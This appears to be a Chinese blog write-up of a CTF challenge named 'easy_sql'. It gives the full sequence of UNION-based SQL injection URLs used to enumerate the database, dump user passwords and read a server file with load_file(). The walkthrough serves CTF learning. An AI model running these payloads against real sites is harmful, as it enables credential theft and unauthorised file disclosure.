easy_sql

最新推荐文章于 2024-08-17 16:26:59 发布

imbia

最新推荐文章于 2024-08-17 16:26:59 发布

阅读量564

点赞数 1

分类专栏：安全 CTF WEB安全文章标签： web安全

本文链接：https://blog.csdn.net/satasun/article/details/115870173

版权

49 篇文章 6 订阅

订阅专栏

40 篇文章 1 订阅

订阅专栏

38 篇文章 0 订阅

订阅专栏

http://hwserver.bi0x.cn:8302/?id=1 and 1=1#

发现是数字型注入

http://hwserver.bi0x.cn:8302/?id=1 order by 3#

http://hwserver.bi0x.cn:8302/?id=0 union select 1,2,3#

1 2 3都是注入点

http://hwserver.bi0x.cn:8302/?id=0 union select database(),2,3#

库名是ctf , 接下来爆表名

http://hwserver.bi0x.cn:8302/?id=0 union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()#

表名如下：emails,referers,uagents,users

http://hwserver.bi0x.cn:8302/?id=0 union select group_concat(column_name),2,3 from information_schema.columns where table_name='users'#

这里选择爆users表的字段，因为一般来说用户名密码才是数据库中最重要的资料。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MTKTGoTN-1618825320148)(C:\Users\12751\AppData\Roaming\Typora\typora-user-images\1618735710786.png)]

这里爆出字段名如下：id,username,password,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

http://hwserver.bi0x.cn:8302/?id=0 union select group_concat(password),2,3 from users#

这里爆出来flag：flag{this_is_easy_SQL}

然后得到另一个线索：flag in /flag

也就是说另外一个flag藏在数据库以外，需要使用mysql的函数去读取服务器文件。

http://hwserver.bi0x.cn:8302/?id=0 union select load_file('/flag'),2,3#

flag：flag{th1s_1s_a_l1tt1e_h4rd_Sq1_f1ag}

完结撒花~

关注

专栏目录